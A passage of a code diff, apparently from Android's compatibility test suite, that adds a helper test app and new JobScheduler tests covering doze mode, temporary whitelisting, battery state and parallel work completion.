+#LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index e433252..4c9625d 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -43,8 +43,5 @@
android:name="android.support.test.runner.AndroidJUnitRunner"
android:label="JobScheduler device-side tests"
android:targetPackage="android.jobscheduler.cts" >
- <meta-data
- android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
</manifest>
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index 855ad48..49f05b9 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
<option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
<option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
+ <option name="test-file-name" value="CtsJobTestApp.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.jobscheduler.cts" />
diff --git a/tests/app/appSdk25/Android.mk b/tests/JobScheduler/JobTestApp/Android.mk
similarity index 83%
copy from tests/app/appSdk25/Android.mk
copy to tests/JobScheduler/JobTestApp/Android.mk
index 36c6d07..f7b7a1d 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/JobScheduler/JobTestApp/Android.mk
@@ -19,17 +19,12 @@
# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
LOCAL_SRC_FILES := \
$(call all-java-files-under, src) \
-LOCAL_SDK_VERSION := 25
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_PACKAGE_NAME := CtsJobTestApp
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/JobTestApp/AndroidManifest.xml b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..866c5d4
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jobscheduler.cts.jobtestapp">
+
+ <!-- This application schedules jobs independently of the test instrumentation to make
+ it possible to test behaviour for different app states, whitelists and device idle modes -->
+ <application>
+ <service android:name=".TestJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" />
+ <activity android:name=".TestActivity"
+ android:exported="true" />
+ <receiver android:name=".TestJobSchedulerReceiver"
+ android:exported="true" />
+ </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
new file mode 100644
index 0000000..0368f05
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+
+/**
+ * Just a dummy activity to keep the test app process in the foreground state when desired.
+ */
+public class TestActivity extends Activity {
+ private static final String TAG = TestActivity.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+ private static final long DEFAULT_WAIT_DURATION = 30_000;
+
+ static final int FINISH_ACTIVITY_MSG = 1;
+ public static final String ACTION_FINISH_ACTIVITY = PACKAGE_NAME + ".action.FINISH_ACTIVITY";
+
+ Handler mFinishHandler = new Handler() {
+ @Override
+ public void handleMessage(Message msg) {
+ switch (msg.what) {
+ case FINISH_ACTIVITY_MSG:
+ Log.d(TAG, "Finishing test activity: " + TestActivity.class.getCanonicalName());
+ unregisterReceiver(mFinishReceiver);
+ finish();
+ }
+ }
+ };
+
+ final BroadcastReceiver mFinishReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mFinishHandler.removeMessages(FINISH_ACTIVITY_MSG);
+ mFinishHandler.sendEmptyMessage(FINISH_ACTIVITY_MSG);
+ }
+ };
+
+ @Override
+ public void onCreate(Bundle savedInstance) {
+ Log.d(TAG, "Started test activity: " + TestActivity.class.getCanonicalName());
+ super.onCreate(savedInstance);
+ // automatically finish after 30 seconds.
+ mFinishHandler.sendEmptyMessageDelayed(FINISH_ACTIVITY_MSG, DEFAULT_WAIT_DURATION);
+ registerReceiver(mFinishReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
+ }
+}
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
new file mode 100644
index 0000000..97e8d74
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Schedules jobs for this package but does not, by itself, occupy a foreground uid state
+ * while doing so.
+ */
+public class TestJobSchedulerReceiver extends BroadcastReceiver {
+ private static final String TAG = TestJobSchedulerReceiver.class.getSimpleName();
+ private static final String PACKAGE_NAME = "com.android.servicestests.apps.jobtestapp";
+
+ public static final String EXTRA_JOB_ID_KEY = PACKAGE_NAME + ".extra.JOB_ID";
+ public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
+ public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
+ public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
+ public static final int JOB_INITIAL_BACKOFF = 10_000;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final ComponentName jobServiceComponent = new ComponentName(context, TestJobService.class);
+ final JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+ switch (intent.getAction()) {
+ case ACTION_CANCEL_JOBS:
+ jobScheduler.cancelAll();
+ Log.d(TAG, "Cancelled all jobs for " + context.getPackageName());
+ break;
+ case ACTION_SCHEDULE_JOB:
+ final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
+ final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
+ JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
+ .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
+ .setOverrideDeadline(0)
+ .setImportantWhileForeground(allowInIdle);
+ final int result = jobScheduler.schedule(jobBuilder.build());
+ if (result != JobScheduler.RESULT_SUCCESS) {
+ Log.e(TAG, "Could not schedule job " + jobId);
+ } else {
+ Log.d(TAG, "Successfully scheduled job with id " + jobId);
+ }
+ break;
+ default:
+ Log.e(TAG, "Unknown action " + intent.getAction());
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
new file mode 100644
index 0000000..55031c3
--- /dev/null
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestJobService extends JobService {
+ private static final String TAG = TestJobService.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+ public static final String ACTION_JOB_STARTED = PACKAGE_NAME + ".action.JOB_STARTED";
+ public static final String ACTION_JOB_STOPPED = PACKAGE_NAME + ".action.JOB_STOPPED";
+ public static final String JOB_PARAMS_EXTRA_KEY = PACKAGE_NAME + ".extra.JOB_PARAMETERS";
+
+ @Override
+ public boolean onStartJob(JobParameters params) {
+ Log.i(TAG, "Test job executing: " + params.getJobId());
+ final Intent reportJobStartIntent = new Intent(ACTION_JOB_STARTED);
+ reportJobStartIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+ sendBroadcast(reportJobStartIntent);
+ return true;
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters params) {
+ Log.i(TAG, "Test job stopped executing: " + params.getJobId());
+ final Intent reportJobStopIntent = new Intent(ACTION_JOB_STOPPED);
+ reportJobStopIntent.putExtra(JOB_PARAMS_EXTRA_KEY, params);
+ sendBroadcast(reportJobStopIntent);
+ return true;
+ }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 94aee20..964853c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -52,6 +52,8 @@
ArrayList<JobWorkItem> mReceivedWork = new ArrayList<>();
+ ArrayList<JobWorkItem> mPendingCompletions = new ArrayList<>();
+
private boolean mWaitingForStop;
@Override
@@ -104,6 +106,8 @@
Log.i(TAG, "Received work #" + index + ": " + work.getIntent());
mReceivedWork.add(work);
+ int flags = 0;
+
if (index < expectedWork.length) {
TestWorkItem expected = expectedWork[index];
int grantFlags = work.getIntent().getFlags();
@@ -170,15 +174,33 @@
}
}
- if ((expected.flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
+ flags = expected.flags;
+
+ if ((flags & TestWorkItem.FLAG_WAIT_FOR_STOP) != 0) {
Log.i(TAG, "Now waiting to stop");
mWaitingForStop = true;
TestEnvironment.getTestEnvironment().notifyWaitingForStop();
return true;
}
+
+ if ((flags & TestWorkItem.FLAG_COMPLETE_NEXT) != 0) {
+ if (!processNextPendingCompletion()) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ 0, 0, null,
+ "Expected to complete next pending work but there was none: "
+ + " @ #" + index);
+ return false;
+ }
+ }
}
- mParams.completeWork(work);
+ if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) != 0) {
+ mPendingCompletions.add(work);
+ } else if ((flags & TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) != 0) {
+ mPendingCompletions.add(0, work);
+ } else {
+ mParams.completeWork(work);
+ }
if (index < expectedWork.length) {
TestWorkItem expected = expectedWork[index];
@@ -195,6 +217,20 @@
index++;
}
+
+ if (processNextPendingCompletion()) {
+ // We had some pending completions, clean them all out...
+ while (processNextPendingCompletion()) {
+ }
+ // ...and we need to do a final dequeue to complete the job, which should not
+ // return any remaining work.
+ if ((work = params.dequeueWork()) != null) {
+ TestEnvironment.getTestEnvironment().notifyExecution(params,
+ 0, 0, null,
+ "Expected no remaining work after dequeue pending, but got: " + work);
+ }
+ }
+
Log.i(TAG, "Done with all work at #" + index);
// We don't notifyExecution here because we want to make sure the job properly
// stops itself.
@@ -219,6 +255,16 @@
}
}
+ boolean processNextPendingCompletion() {
+ if (mPendingCompletions.size() <= 0) {
+ return false;
+ }
+
+ JobWorkItem next = mPendingCompletions.remove(0);
+ mParams.completeWork(next);
+ return true;
+ }
+
@Override
public boolean onStopJob(JobParameters params) {
Log.i(TAG, "Received stop callback");
@@ -227,7 +273,24 @@
}
public static final class TestWorkItem {
+ /**
+ * Stop processing work for now, waiting for the service to be stopped.
+ */
public static final int FLAG_WAIT_FOR_STOP = 1<<0;
+ /**
+ * Don't complete this work now, instead push it on the back of the stack of
+ * pending completions.
+ */
+ public static final int FLAG_DELAY_COMPLETE_PUSH_BACK = 1<<1;
+ /**
+ * Don't complete this work now, instead insert to the top of the stack of
+ * pending completions.
+ */
+ public static final int FLAG_DELAY_COMPLETE_PUSH_TOP = 1<<2;
+ /**
+ * Complete next pending completion on the stack before completing this one.
+ */
+ public static final int FLAG_COMPLETE_NEXT = 1<<3;
public final Intent intent;
public final JobInfo jobInfo;
@@ -247,6 +310,16 @@
requireUrisNotGranted = null;
}
+ public TestWorkItem(Intent _intent, int _flags) {
+ intent = _intent;
+ jobInfo = null;
+ flags = _flags;
+ deliveryCount = 1;
+ subitems = null;
+ requireUrisGranted = null;
+ requireUrisNotGranted = null;
+ }
+
public TestWorkItem(Intent _intent, int _flags, int _deliveryCount) {
intent = _intent;
jobInfo = null;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index 65cd02b..e28675d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -28,6 +28,7 @@
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiManager;
+import android.os.BatteryManager;
import android.os.SystemClock;
import android.util.Log;
@@ -106,6 +107,10 @@
boolean curNotLow = Boolean.parseBoolean(SystemUtil.runShellCommand(getInstrumentation(),
"cmd jobscheduler get-battery-not-low").trim());
assertEquals(notLow, curNotLow);
+ IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
+ Intent batteryState = getContext().registerReceiver(null, filter);
+ assertEquals(notLow,
+ !batteryState.getBooleanExtra(BatteryManager.EXTRA_BATTERY_LOW, notLow));
}
String getJobState() throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
new file mode 100644
index 0000000..0918a3b
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -0,0 +1,281 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts;
+
+import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STARTED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.ACTION_JOB_STOPPED;
+import static android.jobscheduler.cts.jobtestapp.TestJobService.JOB_PARAMS_EXTRA_KEY;
+import static android.os.PowerManager.ACTION_DEVICE_IDLE_MODE_CHANGED;
+import static android.os.PowerManager.ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.job.JobParameters;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.jobscheduler.cts.jobtestapp.TestActivity;
+import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that temp whitelisted apps can run jobs if all the other constraints are met
+ */
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class DeviceIdleJobsTest {
+ private static final String TAG = DeviceIdleJobsTest.class.getSimpleName();
+ private static final String TEST_APP_PACKAGE = "android.jobscheduler.cts.jobtestapp";
+ private static final String TEST_APP_RECEIVER = TEST_APP_PACKAGE + ".TestJobSchedulerReceiver";
+ private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".TestActivity";
+ private static final long BACKGROUND_JOBS_EXPECTED_DELAY = 3_000;
+ private static final long POLL_INTERVAL = 500;
+ private static final long DEFAULT_WAIT_TIMEOUT = 1000;
+
+ private Context mContext;
+ private UiDevice mUiDevice;
+ private PowerManager mPowerManager;
+ private long mTempWhitelistExpiryElapsed;
+ private int mTestJobId;
+ private int mTestPackageUid;
+ private boolean mDeviceInDoze;
+ /* accesses must be synchronized on itself */
+ private final TestJobStatus mTestJobStatus = new TestJobStatus();
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "Received action " + intent.getAction());
+ switch (intent.getAction()) {
+ case ACTION_JOB_STARTED:
+ case ACTION_JOB_STOPPED:
+ final JobParameters params = intent.getParcelableExtra(JOB_PARAMS_EXTRA_KEY);
+ Log.d(TAG, "JobId: " + params.getJobId());
+ synchronized (mTestJobStatus) {
+ mTestJobStatus.running = ACTION_JOB_STARTED.equals(intent.getAction());
+ mTestJobStatus.jobId = params.getJobId();
+ }
+ break;
+ case ACTION_DEVICE_IDLE_MODE_CHANGED:
+ case ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED:
+ synchronized (DeviceIdleJobsTest.this) {
+ mDeviceInDoze = mPowerManager.isDeviceIdleMode();
+ Log.d(TAG, "mDeviceInDoze: " + mDeviceInDoze);
+ }
+ break;
+ }
+ }
+ };
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mPowerManager = mContext.getSystemService(PowerManager.class);
+ mDeviceInDoze = mPowerManager.isDeviceIdleMode();
+ mTestPackageUid = mContext.getPackageManager().getPackageUid(TEST_APP_PACKAGE, 0);
+ mTestJobId = (int) (SystemClock.uptimeMillis() / 1000);
+ mTestJobStatus.reset();
+ mTempWhitelistExpiryElapsed = -1;
+ final IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(ACTION_JOB_STARTED);
+ intentFilter.addAction(ACTION_JOB_STOPPED);
+ intentFilter.addAction(ACTION_DEVICE_IDLE_MODE_CHANGED);
+ intentFilter.addAction(ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED);
+ mContext.registerReceiver(mReceiver, intentFilter);
+ assertFalse("Test package already in temp whitelist", isTestAppTempWhitelisted());
+ makeTestPackageIdle();
+ makeTestPackageStandbyActive();
+ }
+
+
+ @Test
+ public void testAllowWhileIdleJobInForeground() throws Exception {
+ toggleDeviceIdleState(true);
+ sendScheduleJobBroadcast(true);
+ assertFalse("Job started while in background", awaitJobStart(5_000));
+ startAndKeepTestActivity();
+ assertTrue("Job with allow_while_idle flag did not start when the app was in fg",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testAllowWhileIdleJobInTempwhitelist() throws Exception {
+ toggleDeviceIdleState(true);
+ Thread.sleep(DEFAULT_WAIT_TIMEOUT);
+ sendScheduleJobBroadcast(true);
+ assertFalse("Job started without being tempwhitelisted", awaitJobStart(5_000));
+ tempWhitelistTestApp(5_000);
+ assertTrue("Job with allow_while_idle flag did not start when the app was tempwhitelisted",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testForegroundJobsStartImmediately() throws Exception {
+ sendScheduleJobBroadcast(false);
+ assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ toggleDeviceIdleState(true);
+ assertTrue("Job did not stop on entering doze", awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+ Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+ startAndKeepTestActivity();
+ toggleDeviceIdleState(false);
+ assertTrue("Job for foreground app did not start immediately when device exited doze",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @Test
+ public void testBackgroundJobsDelayed() throws Exception {
+ sendScheduleJobBroadcast(false);
+ assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ toggleDeviceIdleState(true);
+ assertTrue("Job did not stop on entering doze", awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+ Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+ toggleDeviceIdleState(false);
+ assertFalse("Job for background app started immediately when device exited doze",
+ awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ Thread.sleep(BACKGROUND_JOBS_EXPECTED_DELAY - DEFAULT_WAIT_TIMEOUT);
+ assertTrue("Job for background app did not start after the expected delay of "
+ + BACKGROUND_JOBS_EXPECTED_DELAY + "ms", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ toggleDeviceIdleState(false);
+ final Intent cancelJobsIntent = new Intent(TestJobSchedulerReceiver.ACTION_CANCEL_JOBS);
+ cancelJobsIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+ cancelJobsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.sendBroadcast(cancelJobsIntent);
+ mContext.sendBroadcast(new Intent(TestActivity.ACTION_FINISH_ACTIVITY));
+ mContext.unregisterReceiver(mReceiver);
+ Thread.sleep(500); // To avoid any race between unregister and the next register in setUp
+ waitUntilTestAppNotInTempWhitelist();
+ }
+
+ private boolean isTestAppTempWhitelisted() throws Exception {
+ final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
+ for (String line : output.split("\n")) {
+ if (line.contains("UID="+mTestPackageUid)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private void startAndKeepTestActivity() {
+ final Intent testActivity = new Intent();
+ testActivity.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ testActivity.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY));
+ mContext.startActivity(testActivity);
+ }
+
+ private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
+ final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
+ scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mTestJobId);
+ scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
+ scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
+ mContext.sendBroadcast(scheduleJobIntent);
+ }
+
+ private void toggleDeviceIdleState(final boolean idle) throws Exception {
+ mUiDevice.executeShellCommand("cmd deviceidle " + (idle ? "force-idle" : "unforce"));
+ assertTrue("Could not change device idle state to " + idle,
+ waitUntilTrue(DEFAULT_WAIT_TIMEOUT, () -> {
+ synchronized (DeviceIdleJobsTest.this) {
+ return mDeviceInDoze == idle;
+ }
+ }));
+ }
+
+ private void tempWhitelistTestApp(long duration) throws Exception {
+ mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist -d " + duration
+ + " " + TEST_APP_PACKAGE);
+ mTempWhitelistExpiryElapsed = SystemClock.elapsedRealtime() + duration;
+ }
+
+ private void makeTestPackageIdle() throws Exception {
+ mUiDevice.executeShellCommand("am make-uid-idle --user current " + TEST_APP_PACKAGE);
+ }
+
+ private void makeTestPackageStandbyActive() throws Exception {
+ mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " active");
+ }
+
+ private boolean waitUntilTestAppNotInTempWhitelist() throws Exception {
+ long now;
+ boolean interrupted = false;
+ while ((now = SystemClock.elapsedRealtime()) < mTempWhitelistExpiryElapsed) {
+ try {
+ Thread.sleep(mTempWhitelistExpiryElapsed - now);
+ } catch (InterruptedException iexc) {
+ interrupted = true;
+ }
+ }
+ if (interrupted) {
+ Thread.currentThread().interrupt();
+ }
+ return waitUntilTrue(DEFAULT_WAIT_TIMEOUT, () -> !isTestAppTempWhitelisted());
+ }
+
+ private boolean awaitJobStart(long maxWait) throws Exception {
+ return waitUntilTrue(maxWait, () -> {
+ synchronized (mTestJobStatus) {
+ return (mTestJobStatus.jobId == mTestJobId) && mTestJobStatus.running;
+ }
+ });
+ }
+
+ private boolean awaitJobStop(long maxWait) throws Exception {
+ return waitUntilTrue(maxWait, () -> {
+ synchronized (mTestJobStatus) {
+ return (mTestJobStatus.jobId == mTestJobId) && !mTestJobStatus.running;
+ }
+ });
+ }
+
+ private boolean waitUntilTrue(long maxWait, Condition condition) throws Exception {
+ final long deadLine = SystemClock.uptimeMillis() + maxWait;
+ do {
+ Thread.sleep(POLL_INTERVAL);
+ } while (!condition.isTrue() && SystemClock.uptimeMillis() < deadLine);
+ return condition.isTrue();
+ }
+
+ private static final class TestJobStatus {
+ int jobId;
+ boolean running;
+ private void reset() {
+ running = false;
+ }
+ }
+
+ private interface Condition {
+ boolean isTrue() throws Exception;
+ }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
index 6d2599f..604ccce 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
@@ -186,6 +186,87 @@
}
/**
+ * Test basic enqueueing batches of work that will be executed in parallel.
+ */
+ public void testEnqueueParallel2Work() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not fire.",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
+ * Test basic enqueueing batches of work that will be executed in parallel and completed
+ * in reverse order.
+ */
+ public void testEnqueueParallel2ReverseWork() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not fire.",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
